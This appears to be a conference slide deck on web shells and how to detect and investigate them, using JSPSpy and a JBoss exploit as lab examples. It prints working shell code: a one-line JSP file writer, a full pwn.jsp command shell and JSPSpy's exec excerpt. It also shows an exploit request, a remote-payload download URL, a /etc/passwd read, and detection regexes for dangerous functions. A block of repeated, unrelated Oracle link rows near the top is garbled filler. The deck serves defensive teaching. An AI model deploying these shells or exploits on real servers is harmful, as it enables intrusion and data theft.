Closing the Door on Web Shells

Anuj Soni
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("d").getBytes());%>
<% if(request.getParameter("f")!=null) {
    new java.io.FileOutputStream(application.getRealPath("/")+
    request.getParameter("f")))
    .write(request.getParameter("d").getBytes());
%>
<table>
<thead>
<tr>
<th>Title</th>
<th>Description</th>
</tr>
</thead>
</table>
| Oracle Events | Learn about the latest events from Oracle, including webinars, online classes, and more.
| My Oracle Support | Get help with your Oracle products through our comprehensive knowledge base.
| Oracle Cloud | Discover the benefits of Oracle's cloud platform and services.
| Oracle Fusion | Explore the capabilities of Oracle's cloud-based business software.
| Oracle Database | Understand the features and benefits of Oracle's database solutions.
| Oracle EPM | Learn about Oracle's enterprise performance management solutions.
| Oracle ERP | Discover how Oracle's enterprise resource planning solutions can streamline your business processes.
| Oracle Fusion HCM | Get insights into Oracle's human capital management solutions.
| Oracle Fusion Cloud Services | Explore Oracle's cloud-based service offerings.
| Oracle Fusion HCM | Understand the features of Oracle's human capital management solutions.
| Oracle Fusion Financials | Learn about Oracle's financial management solutions.
| Oracle Fusion Sales | Discover how Oracle's sales management solutions can improve your business.
| Oracle Fusion Supply Chain | Get insights into Oracle's supply chain management solutions.
| Oracle Fusion Technology | Explore Oracle's technology management solutions.
| Oracle Fusion Analytics | Understand Oracle's business intelligence solutions.
| Oracle Fusion Development | Learn about Oracle's development tools and technologies.
| Oracle Fusion Marketing | Discover Oracle's marketing solutions.
| Oracle Fusion PeopleSoft | Get insights into Oracle's people management solutions.
| Oracle Fusion Virtualization | Understand Oracle's virtualization solutions.
| Oracle Fusion Storage | Learn about Oracle's storage solutions.
| Oracle Fusion Collaboration | Discover Oracle's collaboration solutions.
| Oracle Fusion Identity Management | Get insights into Oracle's identity and access management solutions.
| Oracle Fusion Security | Understand Oracle's security solutions.
| Oracle Fusion Learning Cloud | Explore Oracle's learning cloud solutions.
| Oracle Fusion Learning Library | Discover Oracle's learning library resources.
| Oracle Fusion Learning Pathways | Learn about Oracle's learning pathways.
| Oracle Fusion Learning Platforms | Understand Oracle's learning platforms.
| Oracle Fusion Learning Partners | Get insights into Oracle's learning partners.
| Oracle Fusion Learning Services | Discover Oracle's learning services.
| Oracle Fusion Learning Solutions | Learn about Oracle's learning solutions.
| Oracle Fusion Learning Tools | Understand Oracle's learning tools.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Discover Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Learn about Oracle's learning workshops.
| Oracle Fusion Learning Workshops | Understand Oracle's learning workshops.
Why Web Shells?

- Web Shells are not new. I know.
- They continue to be used and go undetected.
- RATs are the cool kids, but web shells are just as dangerous, if not more:
  - Smaller footprint
  - OS Platform independent
  - Non-traditional C&C
  - Highly customizable
  - Less frequently detected by AV
  - Harder to find on an infected box
- If you’ve never seen one or analyzed you…you just might miss it.
What We’ll Cover

- Web shells overview
- Delivery
- Detection techniques
- Investigation approaches

- We will *not* discuss how to develop web shells or position them on systems.

- Insert CYA disclaimers here
Web Shell Architecture
Web Shell Delivery

- From the outside
  - Vulnerabilities + Exploits

- From the inside
  - Who: malicious insider, advanced threat
  - How: legit credentials, stolen credentials, exploits
  - Why: maintain access
Web Shell Window Shopping

- China Chopper
- Deep Panda
- ASPXspy2
- Fuzzdb
- JSPSpy
- C99
- WeBaCoo
- Many others…
JBoss Example

► 2011: JBoss vulnerability disclosed at security conferences
► September 2013: NIST assigns CVE-2013-4810
► October 2013: Researcher released proof of concept code
► Malicious JSP files placed on servers


JBoss Application Server (or JBoss AS) is an open-source Java EE-based application server. JBoss AS was developed by JBoss, now a division of Red Hat. On late 2012, JBoss AS was named as WildFly.

Recently, Imperva’s ADC had detected an instance of the exploitation of web servers powered by JBoss AS, probably as a result of the public disclosure of an exploit code that abuses a vulnerability.
JBoss – The Exploit

Usage: C:\PHP>php 9sg_ejb.php 192.168.0.1 id

1) Execute exploit

```javascript
//small jsp shell
$url="http://retrogod.altervista.org/a.war?";
```

2) Download shell

3) Execute “id” command against server

```javascript
$host=$argv[1];
$cmd=$argv[2];
$pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".
"Host: ".$host.":].$port."\r\n".
"Connection: Close\r\n\r\n";
```
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");

if (request.getParameter("cmd") != null)
{
    cmd = new String (request.getParameter("cmd"));
    if (OS.startsWith("Windows"))
    {
        cmdarr = new String [] {"cmd", "/C", cmd};
    }
    else
    {
        cmdarr = new String [] {"/bin/sh", "-c", cmd};
    }
    Process p = Runtime.getRuntime().exec(cmdarr);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null )
    {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
Pwn.jsp Request

192.168.233.131:8080/file/pwn.jsp?cmd=ls%20/etc
Pwn.jsp Network Capture

```
GET /file/pwn.jsp?cmd=ls%20/etc HTTP/1.1
Host: 192.168.233.131:8080
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=F6B80B19F4AD1716BB114C39DFA29FE1; Path=/file/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 2063
Date: Tue, 10 Dec 2013 00:28:48 GMT

adduser.conf
alternatives
apm
apparmor
apparmor.d
apport
apt
at.deny
authbind
```
JSPSpy

<table>
<thead>
<tr>
<th>File</th>
<th>Size</th>
<th>Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>JspSpy.jsp</td>
<td>84 K</td>
<td>a278190b98ce85759e0354501e2fd692</td>
</tr>
</tbody>
</table>

- Remnux
- Apache2
- Tomcat 7
JSPSpy – Login

Password: ●●●●● Submit

Copyright © 2009 NinTy www.Forjj.com
JSPSpy – File Manager

192.168.233.131:8080 (127.0.0.1)

Logout  File Manager  DataBase Manager  Execute Command  Shell OnLine  Back Connect  Port Scan  Download Remote File  Clipboard  Remote Control  Port Map  JSP Env

File Manager - Current disk "/" total 0.0G

Current Directory: /var/lib/tomcat7/webapps/files

Web Root | Shell Directory | New Directory | New File | Disk(/)

<table>
<thead>
<tr>
<th>Name</th>
<th>Last Modified</th>
<th>Size</th>
<th>Read/Write/Execute</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>= Goto Parent</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>JspSpy.jsp</td>
<td>2013-12-13 01:02:25</td>
<td>83.03K</td>
<td>true / false / true</td>
</tr>
<tr>
<td>index.html</td>
<td>2013-12-13 11:12:58</td>
<td>0B</td>
<td>true / false / false</td>
</tr>
<tr>
<td>query.jsp</td>
<td>2013-12-13 11:13:11</td>
<td>0B</td>
<td>true / false / false</td>
</tr>
<tr>
<td>support.html</td>
<td>2013-12-13 11:13:42</td>
<td>0B</td>
<td>true / false / false</td>
</tr>
</tbody>
</table>

Pack Selected - Delete Selected

0 directories / 4 files
JSPSpy – Database Login

192.168.233.131:8080 (127.0.1.1)

Logout | File Manager | Database Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Download Remote File | Clipboard | Remote Control | Port Map | JSP Env

Database Manager »

Driver: com.mysql.jdbc.Driver
URL: jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK

UID: PWD:

DataBase: Mysql

Connect

Mysql
Oracle
Sql Server

JSPSpy – Back Connect

192.168.233.131:8080 (127.0.1.1)

Logout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Download Remote File | ClipBoard | Remote Control | Port Map | JSP Env

Back Connect >>

Your Ip : 192.168.233.120    Your Port : 4444    Program To Back : /bin/sh

Connect

JSPSpy – Port Scan

PortScan >>

IP: 192.168.233.131:8080 (127.0.1.1)

Port: 21,25,80,110,1433,1723,3306,3389,4899,5631,43958

Timeout (秒): 2

Scan

192.168.233.120: 21 ..................... Close
192.168.233.120: 25 ..................... Open
192.168.233.120: 80 ..................... Close
192.168.233.120: 110 ..................... Close
192.168.233.120: 1433 ..................... Close
192.168.233.120: 1723 ..................... Close
192.168.233.120: 3306 ..................... Close
192.168.233.120: 3389 ..................... Open
192.168.233.120: 4899 ..................... Close
192.168.233.120: 5631 ..................... Close
192.168.233.120: 43958 ..................... Close
192.168.233.120: 65500 ..................... Close

JSPSpy – Download Remote File

Remote File DownLoad »

Remote File URL: http://www.badstuff.com/stuff.sh

Save Path: /var/lib/tomcat7/webapps/files

Download

Copyright (C) 2009 http://www.Forj.com/ T00ls.Net All Rights Reserved.
JSPSpy – JSP Env

192.168.233.131:8080 (127.0.1.1)

Logout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Download Remote File | Clip Board | Remote Control | Port Map | JSP Env

System Properties >>

- java.runtime.name: OpenJDK Runtime Environment
- sun.boot.library.path: /usr/lib/jvm/java-7-openjdk/jre/lib/i386
- java.vm.version: 23.7-b01
- shared.loader: /var/lib/tomcat7/shared/classes,/var/lib/tomcat7/shared/*:jar
- java.vm.vendor: Oracle Corporation
- java.vendor.url: http://java.oracle.com/
- path.separator: 
- java.vm.name: OpenJDK Client VM
- tomcat.util.buf.StringCache: true
- byte.enabled: file.encoding.pkg: sun.io
- java.util.logging.config.file: /var/lib/tomcat7/conf/logging.properties
JSPSpy – Execute Command

192.168.233.131:8080 [127.0.1.1]

Logout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Port Scan | Download Remote File | Clipboard
| Remote Control | Port Map | JSP Env

Execute Program »

Parameter

Execute

Execute Shell »

Parameter

/bin/cat /etc/passwd

Execute

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin:/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
Network Detection

follow tcp stream

POST /files/JspSpy.jsp HTTP/1.1
Host: 192.168.233.131:8080
User-Agent: Mozilla/5.0 (windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=4B8507C54F3A056A595FFFE7FA42801E
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

b=shell&type=command&command=%2Fbin%2Fcat+%2Fetc%2Fpasswd&submit=Execute HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 29 Apr 2014 16:45:40 GMT

2000
<html><head><title>JspSpy Codz By - Ninty</title><style type="text/css">body,td{font:12px Arial,Tahoma;line-height:16px;}.input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:22px;}.area

Booz | Allen | Hamilton
# Network Detection

<table>
<thead>
<tr>
<th>Operation</th>
<th>Data Sent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connect to DB</td>
<td><code>selectDb=0&amp;o=dbc&amp;driver=com.mysql.jdbc.Driver:url=jdbc%3Amysql%3A%2F%2F10.10.22.45%3A3306%2Fmysql%3FuseUnicode%3Dtrue%26characterEncoding%3DGBK&amp;uid=admin&amp;pwo=adm in&amp;db=com.mysql.jdbc.Driver%60jdbc%3Amysql%3A%2F%2Flocalhost%3A3306%2Fmysql%3FuseUnicode%3Dtrue%26characterEncoding%3DGBK&amp;connect=Connect</code></td>
</tr>
<tr>
<td>Execute Command</td>
<td><code>o=shell&amp;type=command&amp;command=%2Fbin%2Fcat+%2Fetc%2Fpasswd&amp;submit=Execute</code></td>
</tr>
<tr>
<td>Port Scan</td>
<td><code>o=portScan&amp;ip=127.0.0.1&amp;ports=21%2C25%2C80%2C110%2C1433%2C1723%2C3306%2C3389%2C4899%2C5631%2C43958%2C65500&amp;timeout=2&amp;submit=Scan</code></td>
</tr>
</tbody>
</table>
Network Detection

Password:  

Copyright © 2009 NinTy [www.Forjj.com]
Network Detection – Snort Rule

action proto src_ip src_port direction dst_ip dst_port (options)

alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (content:"JspSpy Ver:2009";flow:to_client, established;msg:"Potential JspSpy Shell");
Host Detection
Host Detection – Antivirus

a278190b98ce85759e0354501e2fd692

File not found
The file you are looking for is not in our database.

Take me back to the main page  Try another search
Host Detection – Linux Malware Detect

- Detection methods:
  - MD5 hashes: more than 5393
  - HEX pattern matching: more than 1848
  - Integrated ClamAV detection
  - Statistical analysis (e.g. base64)

- Other features:
  - Capable of real-time monitoring
  - Integrated signature/version updates
  - Reporting

- Site: https://www.rfxn.com/projects/linux-malware-detect
Host Detection – Linux Malware Detect

Malware detect scan report for remnux:
SCAN ID: 042714-1402.22058
TIME: Apr 27 14:03:08 -0400
PATH: /home/remnux/webshell/

TOTAL FILES: 1015
TOTAL HITS: 267
TOTAL CLEANED: 0

NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: mal$ FILE HIT LIST:

- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/icesword.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/hackk8/fuck-jsp/ma1.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/hackk8/fuck-jsp/job.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/hackk8/fuck-jsp/jspbrowser/2.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/hackk8/fuck-jsp/ma4.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/ma1.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/job.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/520.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/jspbrowser/2.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/ma4.jsp
- {HEX} sp.cmdshell.zerocnbct.23 : /home/remnux/webshell/jsp/2.jsp
- {MD5} erl.cmdshell.unclassed.4791 : /home/remnux/webshell/pl/perlwebshell-0.1/perlwebshell.cgi
- {CAV} ERL.Exploit.C99 : /home/remnux/webshell/pl/ka0tic.pl
- {HEX} erl.shell.cgitelnet.180 : /home/remnux/webshell/pl/telnet.pl
Host Detection – PHP Shell Detector

- Helps detect php/cgi(perl)/asp/aspx web shells
- Detection methods:
  - Signature DB
  - Suspicious/Dangerous functions
- PHP – v1.66
  - 551 signatures
- Python – v1.1
  - 552 signatures
- Site: http://www.shelldetector.com
Web Shell Detector v1.66
(PHP Version: 5.3.6-13ubuntu3.10)

Starting file scanner, please be patient file scanning can take some time.

Number of known shells in database is: 551
Files found: 8
File scan done, we have: 8 files to analyze

Suspicious behavior found in: b374k.php

<table>
<thead>
<tr>
<th>Full path</th>
<th>b374k.php</th>
</tr>
</thead>
<tbody>
<tr>
<td>Owner</td>
<td>root</td>
</tr>
<tr>
<td>Permission</td>
<td>0644</td>
</tr>
<tr>
<td>Last modified</td>
<td>23:31:16 26/04/2014</td>
</tr>
<tr>
<td>MDS hash</td>
<td>a177cdd33c9789fd3edd1ef818bee8b</td>
</tr>
<tr>
<td>Filesize</td>
<td>216.83 KB</td>
</tr>
<tr>
<td>Suspicious functions used</td>
<td>eval (line:10);base64_decode (line:116);system (line:164);system (line:166);shell_exec (line:171);shell_exec (line:172);exec (line:175);exec (line:176);passthru (line:180);passthru (line:182);proc_open (line:187);proc_open (line:192);popen (line:204);popen (line:205);eval (line:820);eval (line:1040);eval (line:1041);eval (line:1042);eval (line:1044);base64_decode (line:1431);eval (line:1947);eval (line:2787);exec (line:3033);eval (line:4039);eval (line:4049);</td>
</tr>
<tr>
<td>Fingerprint</td>
<td>Negative (if wrong submit file for analyze)</td>
</tr>
</tbody>
</table>

Status: 1 suspicious files found and 0 shells found. Rescan and show suspicious files
Host Detection – PHP Shell Detector

root@remux:~/home/remux

root@remux:/home/remux# python shellodetect.py -r True -d /var/www/files/

Welcome to Shell Detector Tool 1.1
More information can be found here
http://www.shellodetect.com

Please note we using remote shell database
Starting file scanner, please be patient file scanning can take some time.
Number of known shells in database is: 552
File scan done, we have: 9 files to analyze

Suspicious behavior found in: /var/www/files/b374k.php
Full path: /var/www/files/b374k.php
Owner: 0:0
Permission: 644
Last modified: Sun Apr 27 11:39:06 2014
Filesize: 216.8 KB

Suspicous function used: ['eval'](line: 10)
Suspicous function used: ['base64_decode'](line: 116)
Suspicous function used: ['system', 'system'](line: 164)
Suspicous function used: ['system'](line: 166)
Suspicous function used: ['shell_exec', 'shell_exec'](line: 171)
Suspicous function used: ['shell_exec'](line: 172)
Suspicous function used: ['exec', 'exec'](line: 175)
Suspicous function used: ['exec'](line: 176)
Suspicous function used: ['passthru', 'passthru'](line: 180)
Host Detection – PHP Shell Detector

```
#Start
parser = optparse.OptionParser()
p没见过.add_option('--extension', '-e', type='string', default='php,txt,asp,jsp',
                   help='file extensions that should be scanned, comma separated')
default='php,txt,asp,jsp'
```

```
remux@remux:~ $
Suspicious behavior found in: /var/www/files/JspSpy.jsp
Full path: /var/www/files/JspSpy.jsp
Owner: 0:0
Permission: 755
Last modified: Sun Apr 27 11:39:06 2014
Filesize: 83.0 KB

Suspicious function used: ['exec'](line: 328)
Suspicious function used: ['System'](line: 626)
Suspicious function used: ['exec'](line: 1436)
Suspicious function used: ['exec'](line: 1449)
Suspicious function used: ['exec'](line: 2050)
Suspicious function used: ['System'](line: 2070)
Suspicious function used: ['System'](line: 2074)
Suspicious function used: ['System'](line: 2080)
Suspicious function used: ['System'](line: 2081)
Suspicious function used: ['System'](line: 2186)
Suspicious function used: ['SYSTEM'](line: 2187)
Suspicious function used: ['exec'](line: 2221)
```
Host Detection – NeoPI

- Focused on detecting web shells – specifically, obfuscated and encrypted content
- Python script that uses statistical analysis to detect obfuscated and encrypted content within text/script files
- Ranks files based on a variety of tests
- Also uses signatures
- Site: https://github.com/Neohapsis/NeoPI
Host Detection – NeoPI

```
remnux@remnux:~$ neopi.py -h

Usage: neopi.py [options] <start directory> <OPTIONAL: filename regex>

Options:
--version        show program's version number and exit
-h, --help       show this help message and exit
-c FILECSV, --csv=FILECSV   generate CSV outfile
-a, --all        Run all (useful) tests [Entropy, Longest Word, IC, Signature]
-z, --zlib       Run compression Test
-e, --entropy    Run entropy Test
-f, --eval       Run signature test for the eval
-l, --longestword Run longest word test
-i, --ic         Run IC test
-s, --signature  Run signature test
-S, --supersignature Run SUPER-signature test
-A, --auto       Run auto file extension tests
-u, --unicode    Skip over unicode-y/UTF'ý files
```
Host Detection – NeoPI (Entropy)

remnux@remnux:~$ neopi.py -e /var/www/files/

```

(( ) )
((-) (-) (-) ( ) )
(( ) )

 Ver. *.USEGIT

[[ Total files scanned: 13 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 0.240000 seconds ]]

[[ Top 10 entropic files for a given search ]]

5.9323 /var/www/files/b374k.php
5.6977 /var/www/files/index.html.1
5.6950 /var/www/files/index.html.2
5.6356 /var/www/files/searchNavigation.jsp
5.5138 /var/www/files/sale.jsp
5.5059 /var/www/files/PetMeds
5.4651 /var/www/files/Tos.jsp
5.4415 /var/www/files/index.jsp
5.3886 /var/www/files/JspSpy.jsp
5.3462 /var/www/files/result.jsp
```

Booz | Allen | Hamilton
Host Detection – NeoPI (Signatures)

remux@remux:~> neopi.py -s /var/www/files/

78 /var/www/files/JspSpy.jsp
26 /var/www/files/b374k.php

Booz | Allen | Hamilton
```python
class SignatureNasty:
    """Generator that searches a given file for nasty expressions"""

    def __init__(self):
        """Instantiate the results array."""
        self.results = []

    def calculate(self, data, filename):
        if not data:
            return "", 0

        # Lots taken from the wonderful post at
        http://stackoverflow.com/questions/3115559/exploitable-php-functions
        valid_regex = re.compile(''.join(['(eval\(|file_put_contents|base64_decode|python_eval|exec\(|passthru|popen|proc_open|pcntl|assert\('|system\('|shell)\)', re."

        matches = re.findall(valid_regex, data)
        self.results.append({"filename": filename, "value": len(matches)})
        return len(matches)
```
Host Detection – Create Your Own Script

- Potentially dangerous functions
  - `getSystemClipboard()`
  - `createScreenCapture()`
  - `exec()`
  - `openConnection()`

- Other strings
  - "Ninty"
  - "Forjj.com"

```bash
#!/bin/bash

SEARCH_TERMS="exec\(\(|getSystemClipboard|createScreenCapture|Ninty\|Forjj\)"

egrep -ilr --include=*.jsp "\($SEARCH_TERMS\)"
/var/lib/tomcat7/webapps/files/
```
Host Detection – Integrity Checking

- **AIDE**
- **Tripwire**
- **Bart**
- **Whitelisting**

Summary:
Total number of files: 3
Added files: 1
Removed files: 0
Changed files: 0

---

Added files:

added:
/var/lib/tomcat7/webapps/files/JspSpy.jsp
Host Detection – Apache Web Logs


"POST /files/JspSpy.jsp HTTP/1.1" 200 2977
"http://192.168.233.131/files/JspSpy.jsp"
"Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0"
Host Detection – Tomcat Logs


"POST /files/JspSpy.jsp HTTP/1.1" 200 8229
Web Shell Detection – Human
Web Shell Forensics
Web Shell Forensics – JavaServer Pages (JSP)

1. POST JspSpy.jsp
2. Read
3. Generate
4. Compile
5. Execute
6. HTTP 200 OK

JspSpy.jsp
JspSpy_jsp.java
JspSpy_jsp.class
Web Shell Forensics – JSPSpy

- /var/lib/tomcat7/webapps/files
  - JspSpy.jsp
Web Shell Forensics – JSPSpy Files

```plaintext
/var/cache/tomcat7/Catalina/localhost/files/org/apache/jsp
```

- JspSpy_jsp$DefaultInvoker.class
- JspSpy_jsp$DeleteBatchInvoker.class
- JspSpy_jsp$DownInvoker.class
- JspSpy_jsp$DownRemotelnvoker.class
- JspSpy_jsp$EditPropertyInvoker.class
- JspSpy_jsp$ExecuteSQLInvoker.class
- JspSpy_jsp$FileListInvoker.class
- JspSpy_jsp$GcInvoker.class
- JspSpy_jsp$IndexInvoker.class
- JspSpy_jsp$Invoker.class
- JspSpy_jsp.java
- JspSpy_jsp$JspEnvInvoker.class
- JspSpy_jsp>LoginInvoker.class
- JspSpy_jsp$LogoutInvoker.class
- JspSpy_jsp$MapPortInvoker$1$1.class
- JspSpy_jsp$MapPortInvoker$1$2.class
- JspSpy_jsp$MapPortInvoker.class
- JspSpy_jsp$MkDirInvoker.class
- JspSpy_jsp$MoveInvoker.class
- JspSpy_jsp$MyComparator.class
- JspSpy_jsp$MyRequest.class
- JspSpy_jsp$OnLineConnector.class
- JspSpy_jsp$OnLineInvoker.class
- JspSpy_jsp$OnLineProcess.class
- JspSpy_jsp$PackBatchInvoker.class
- JspSpy_jsp$PackInvoker.class
- JspSpy_jsp$PortScanInvoker.class
- JspSpy_jsp$RemoteDiInvoker.class
- JspSpy_jsp$Row.class
- JspSpy_jsp$ScriptInvoker.class
- JspSpy_jsp$ShellInvoker.class
- JspSpy_jsp$SmplInvoker.class
- JspSpy_jsp$StreamConnector.class
- JspSpy_jsp$AfterInvoker.class
- JspSpy_jsp$BackConnectInvoker.class
- JspSpy_jsp$BeforeInvoker.class
- JspSpy_jsp$BottomInvoker.class
- JspSpy_jsp.class
- JspSpy_jsp$ClipBoardInvoker.class
- JspSpy_jsp$Column.class
- JspSpy_jsp$CopyInvoker.class
- JspSpy_jsp$CreateFileInvoker.class
- JspSpy_jsp$DbcInvoker.class
- JspSpy_jsp$DBOperator.class
- JspSpy_jsp$TopInvoker.class
- JspSpy_jsp$Table.class
- JspSpy_jsp$UnPackInvoker.class
- JspSpy_jsp$UploadBean.class
- JspSpy_jsp$UploadInvoker.class
## Web Shell Forensics – JSPSpy Excerpt

<table>
<thead>
<tr>
<th>Location</th>
<th>File Name</th>
<th>mtime</th>
<th>crtime</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/var/lib/tomcat7/webapps/files/</code></td>
<td>JspSpy.jsp</td>
<td>3/14/14 15:23</td>
<td>3/14/14 14:30</td>
</tr>
</tbody>
</table>
Web Shell Forensics

- **Process**
  - Tools and scripts previously discussed
  - Focus on internet accessible locations (web root)
  - File type/extension (JSP, ASP, PHP, etc.)
  - Timeline analysis
  - File size
  - Log Analysis

- **Additional**
  - Keyword Searches
  - Unallocated space
  - Memory analysis

- **Look out for**
  - Previous versions of web shell installations
  - Shell history
PrintWriter out = response.getWriter();
String type = request.getParameter("type");
if (type.equals("command")) {
    ins.get("vs").invoke(request, response, JSession);
    out.println("<div style='margin:10px'><hr/>");
    out.println("<pre>");
    String command = request.getParameter("command");
    if (!Util.isEmpty(command)) {
        Process pro = Runtime.getRuntime().exec(command);
        BufferedReader reader = new BufferedReader(new
            InputStreamReader(pro.getInputStream()));
        String s = reader.readLine();
        while (s != null) {
            out.println(Util.htmlEncode(Util.getStr(s)));
            s = reader.readLine();
        }
        reader.close();
        out.println("</pre></div>");
    }
}
Malware Analysis with Web Shells – Goals

- What are its capabilities?
- Did it work?! – Limitations on Attacker Success
  - Software dependencies
  - Load balancer
  - User account privileges
  - Backend accesses
- Generate malware signatures
  - Strings
  - Dangerous Functions
- Compare to publicly available samples
WeBaCoo = Web Backdoor Cookie Script-Kit

- Created by Anestis Bechtsoudis, security researcher
- Perl script has two functions:
  - Generate web shell
  - Connect to web shell via terminal
- Uses HTTP header Cookie fields to evade common detection capabilities
- Included in pen testing platforms
- Git: https://github.com/anestisb/WeBaCoo
WeBaCoo Usage

C:\WeBaCoo>webacoo.pl -h

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

Usage: webacoo.pl [options]

Options:
- g Generate backdoor code (-o is required)
- f FUNCTION PHP System function to use
  FUNCTION
  1: system  (default)
  2: shell_exec
  3: exec
  4: passthru
  5: popen
- o OUTPUT Generated backdoor output filename
